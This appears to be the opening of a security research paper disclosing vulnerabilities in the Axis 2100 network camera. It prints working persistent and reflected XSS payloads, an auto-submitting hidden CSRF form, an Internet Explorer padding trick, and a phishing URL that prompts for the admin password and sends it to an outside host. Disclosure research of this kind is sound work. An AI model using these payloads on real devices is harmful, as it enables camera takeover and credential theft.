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1 Owning big brother 

IP cameras are everywhere. However, when thinking of cracking into a camera, the 
only thing that people usually consider is an attacker gaining access to a private 
video stream (i.e.: surveillance video). 
 

We often forget that IP cameras are just like any other network device: they can have 
routing capabilities, run commands and sometimes even allow us to upload and run 
our own applications! 
 

Even the most inferior IP cameras give us a few megabytes of available flash 
memory to upload our own content. Practically speaking, IP cameras can provide 
crackers with the perfect stepping stone for launching further attacks against an 
internal network. 
 
You might be thinking that if an IP camera were on a properly segmented network, 
the attacker would be stuck on the DMZ after compromising it and be restricted to 
attacking other hosts that are on the DMZ only. In reality, itôs mostly web/application 
servers that are taken into consideration when administrators configure DMZs. Letôs 
get real, even in the case of web/application servers there are still many companies 
out there that have publicly available servers using direct connections to their non-
segmented LANôs (a.k.a. flat networks). Any pentester that has managed to perform 
command execution on a web server can tell you how often you can ping internal 
machines from it such as file servers, database servers, domain controllers or even 
employee workstations.  
 

In other words, in the real world even web servers are not always in segmented 
DMZs as they should be. This takes us to the next question: would a ñnot big dealò IP 
camera be DMZed prior to being connected to the Internet? Unfortunately, for most 
set-ups the answer to that question is NO! 
 

While conducting some research at ProCheckUp <http://www.procheckup.com/>, my 
colleague Amir Azam and I decided to have a play with an Axis 2100 camera. Now, 
the first thing I want to say is that although this camera is not officially supported 
anymore by Axis, it is still widely deployed due to its affordability. Second, even 
though the Axis 2100 is not officially supported, Axis fixed some of the issues we 
reported, showing that there are still many customers out there using this camera 
and Axis is a trustworthy company. Finally, we need to remember that vendors reuse 
code all the time. This means that whenever we find vulnerabilities, these 
vulnerabilities might exist within other models as well. 
 

http://www.procheckup.com/
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The result of this research was that we found a large number of issues; some of them 
had been previously released, while others have not. In this paper we only cover new 
vulnerabilities affecting older and the latest firmware. The most eye-catching ones 
are perhaps the following issues affecting the latest version of the firmware (2.43):  
 

¶ System-wide Cross-site Request Forgeries (CSRF) ï any admin action can be 

forged by design! 

¶ Non-persistent Cross-site Scripting (XSS) on 404 error pages 

¶ Persistent cross-site Scripting (XSS) on the network settings page 

¶ Persistent cross-site Scripting (XSS) on the video viewing page 

¶ Persistent cross-site Scripting (XSS) on the logs viewing facility 

 

If you donôt want to waste your time, skip to sections 3, 4, 5, 6 and 7 where we 
demonstrate several attacks.
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2 New vulnerabilities found on old firmware versions (<2.43) 

First, letôs start with new vulnerabilities affecting older versions of the firmware. In this 
case Axis 2100 Network Camera 2.02 is vulnerable to persistent XSS for every single 
parameter value that gets stored on the cameraôs web interface (typically set through 
forms). 
 
For instance, the following request is generated when using submitting of the 
cameraôs web forms that allows us to set the SMTP server settings: 
 
POST /this_server/ServerManager.srv HTTP/1.1  

 

conf_SMTP_MailServer1=smtp.domain.com&conf_SMTP_MailServer2=sm

tp2.server.com&servermanager_return_page=%2Fadmin%2Fnetw_smtp.

shtm l&servermanager_do=set_variables  

 

If we inject the following JavaScript snippet for any of the values saved (i.e.: 
óconf_SMTP_MailServer1ô) the camera runs the injected code persistently every time 
the ñchange SMTP settingsò page is visited: 
 
'"><script>al ert(1)</script>  

 

However in real life, when exploiting this vulnerability, the admin wouldnôt enter the 
payload manually (obviously!). We usually inject the payload that is reflected back to 
ourselves for the purpose of identifying XSS vulnerabilities. In real life, you would 
trick the victim admin to visit a malicious page that makes the browser inject the 
payload persistently (more on this later). 
 
The good news is that all versions of the Axis 2100 firmware (<=2.43) are vulnerable 
to CSRF (Cross Site Request Forgery) by design. If you go back to the ñchange 
SMTP settingsò request, you will notice that there are no unique tokens in the 
request. Therefore itôs possible to trick the victim admin to visit a third-party page, 
which forges the request. The forged request can take place in the background (i.e.: 
using invisible óiframesô), so that the victim admin doesnôt notice anything suspicious. 
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However, for the CSRF exploit to work, ANY of the following conditions must be met 
when the admin visits the malicious third-party page: 
 

¶ Credentials are cached by the admin's browser (admin has clicked on 

"Remember my password" on the basic authentication prompt) 

¶ The admin user is not  authenticated neither has he clicked on ñRemember my 

passwordò but he is naive enough to enter the Axis camera credentials when the 

basic authentication prompt pops up 

¶ The admin's browser has a current authenticated session with the cameraôs 

interface (highly unlikely) 

 
A common way to craft the malicious page is to embed hidden form that gets 
submitted automatically for the purpose replicating the original óPOSTô request. Such 
as: 
 
<form method="post" 

action="http://target/this_server/ServerManager.srv" 

name="hack">  

<input type="hidden" name="conf_SMTP_MailServer1" value= 

'"><script>al ert(1)</script>'>  

<! --  the rest of the parameters would go here -- > 

</form>  

<script>document.forms.hack.submit();</script>  

 

Note: the only reason why weôre using a form in our non-malicious exploit is because 
the ñchange SMTP settingsò request only works through the óPOSTô method (as 
opposed to óGETô). 
 

Without getting into too much in details we also found a classic non-persistent XSS 
(also affecting version 2.02): 
 
http://target/wizard/first/wizard_main_first.shtml?subpage="><

script>alert(1)</script><! --  
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3 XSS on 404 error pages: cross-browser XSS phishing 

Letôs now discuss the vulnerabilities, which affect the latest version of the firmware. 
There is a non-persistent XSS on the 404 error pages, which can be probed against 
any exiting directory including the webroot. Such as: 
 
http://target/<script>alert(1)</script>  

http://target/view/<script>alert(1)</script>  

 

etc é 
 
This vulnerability affects all versions of the firmware (<=2.43). However, as the ñ404 
errorò page is returned even if the victim admin is not authenticated, the JavaScript 
code gets executed regardless of the admin being logged in. This makes this XSS 
ideal for phishing attacks. 
 
At first we thought that this vulnerability was only exploitable on browsers other than 
Internet Explorer. The problem we had is that Internet Explorer (IE) would display its 
own customized ñ404 errorò page, when receiving a 404 HTTP error code from the 
server. However, we can trick IE into displaying the content returned by the cameraôs 
web server by injecting a large string so that the total content returned is 512 of bytes 
(characters) or greater <http://support.microsoft.com/kb/294807/>. I.e.: 
 
http://target/%3Cscript%3Ealert('running%20code%20within%20the

%20context%20of%20'%2bdocument.domain);/*%20AAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%20*/%3C/script%3E& 

 

 

Figure 1 Exploiting the 404 error page XSS on Internet Explorer 7 

 

http://support.microsoft.com/kb/294807/
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The following is a XSS óphishingô attack, which attempts to spoof the HTTP basic 
authentication prompt. The downside is that a legitimate basic authentication prompt 
box would ask for username and password (two different fields). However, in our 
XSS attack we use the JavaScript prompt() function which only allows to ask the user 
for one field at a time (tested on Firefox 2). In this case, the user will keep being 
prompted to enter his password until a value has been entered: 
 
http://target/%3Cscript%3Eeval(location.hash.substr(1))%3C/scr

ipt%3E#do{p=p rompt("Axis%202100:%20please%20enter%20the%20admi

n%20user's%20password")}while(p==''||p==null);document.locatio

n="http://procheckup.com/?"+p  

 

 

Figure 2 XSS phishing attack on Firefox 2 

 


